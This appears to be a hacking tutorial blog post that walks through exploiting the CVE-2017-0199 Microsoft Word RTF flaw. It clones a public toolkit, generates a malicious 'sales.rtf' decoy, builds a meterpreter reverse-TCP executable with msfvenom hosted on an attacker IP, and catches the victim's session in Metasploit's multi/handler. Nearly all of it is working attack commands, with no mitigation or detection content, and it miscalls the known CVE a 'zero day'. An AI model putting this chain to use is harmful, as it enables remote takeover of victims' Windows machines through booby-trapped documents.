Microsoft word is vulnerable against malicious RTF file, in this article we had made a zero day attack on MS- word 2013 using python script which will generate a malicious .rtf file and give meterpreter session of targeted system.

Exploit toolkit CVE-2017-0199 – v2.0 is a handy python script which provides a quick and effective way to exploit Microsoft RTF RCE. It could generate a malicious RTF file and deliver metasploit / meterpreter / any other payload to victim without any complex configuration.

Let’s start!!!

Attacker: Kali Linux

Target: Windows 10 (Microsoft Word 2007 – 2013)

Open the terminal inside your kali Linux and type following to down this script.

Git clone https://github.com/bhdresh/CVE-2017-0199.git

Cd CVE-2017-0199

python cve-2017-0199_toolkit.py -M gen -w sales.rtf -u http://192.168.1.24/raj.doc

This command will run a python script to generate a rich text format payload where –M is used for generating rtf file –w is used for name of rtf file i.e. “sales.rtf” and –u for attacker’s IP address or domain name.

As you can figure out in the given screenshot that above command has generated a malicious sales .rtf file, now before we send this file to our victim we need to connect it with any backdoor file so that we can establish reverse connect with victim.

On a new terminal use msfvenom to prepare an exe payload for attack and type following.

Msfvenom –p windows/meterpreter/reverse_tcp lhost=192.168.1.24 lport=4444 –f exe > /root/Desktop/raj.exe

Now move raj.exe into /var/www/html.

Now type following command where it will merge raj.exe with sales.rtf. Then you have to share the updated rtf file with victim and start multi handler simultaneously for reverse connection of victims.

python cve-2017-0199_toolkit.py -M exp -e http://192.168.1.24/raj.exe -l /var/www/html/raj.exe

When victim will open sales file which will be in doc format in that mean time attacker will receive his meterpreter ssession inside metasploite framework.

msf > use multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.1.24

msf exploit(handler) > set lport 4444

msf exploit(handler) > exploit

meterpreter > sysinfo

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here